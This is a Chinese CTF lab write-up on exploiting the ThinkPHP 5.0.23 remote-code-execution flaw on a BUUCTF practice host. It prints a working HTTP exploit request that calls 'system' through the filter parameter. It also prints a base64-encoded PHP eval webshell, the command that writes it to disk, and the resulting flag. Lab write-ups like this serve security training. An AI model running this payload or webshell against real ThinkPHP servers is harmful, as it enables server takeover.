BUUCTF-Real-ThinkPHP]5.0.23-Rce

漏洞介绍

这个版本容易存在我们都喜欢的rce漏洞!

网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能!


ThinkPHP是国内使用极其广泛的PHP开发框架。在其5.0版本(<5.0.24)中,框架在获取请求方法时对其进行了错误的处理,导致攻击者可以调用Request类的任意方法,从而通过特定的利用链产生RCE漏洞


 POC验证



经过poc验证发现此版本漏洞!

漏洞利用

BUUCTF-Real-ThinkPHP]5.0.23-Rce_第1张图片

POST /index.php?s=captcha HTTP/1.1
Host: node5.buuoj.cn:29727
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

默认页面抓包,发现是get包!我们将其转换成post数据包,参数加上 /index.php?s=captcha

在post包最后一行加上paylaod验证漏洞!


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第2张图片

发现有回显,则说明此版本存在rce漏洞!我们可以借此写入木马,getshell!

BUUCTF-Real-ThinkPHP]5.0.23-Rce_第3张图片


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第4张图片


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第5张图片


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第6张图片


写入一句话木马,并使用蚁剑连接即可!


payload



base64编码  --  PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=

echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > 123.php

BUUCTF-Real-ThinkPHP]5.0.23-Rce_第7张图片

get flag

根据之前的经验,flag应该在phpinfo页面!我们直接写马进入!


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第8张图片


echo "" > 1.php


 BUUCTF-Real-ThinkPHP]5.0.23-Rce_第9张图片


BUUCTF-Real-ThinkPHP]5.0.23-Rce_第10张图片


直接搜索,即可拿到flag

flag{611e3897-6de3-439f-a481-80dbd49a1b4b}

你可能感兴趣的:(漏洞复现与研究,安全,web安全,网络安全)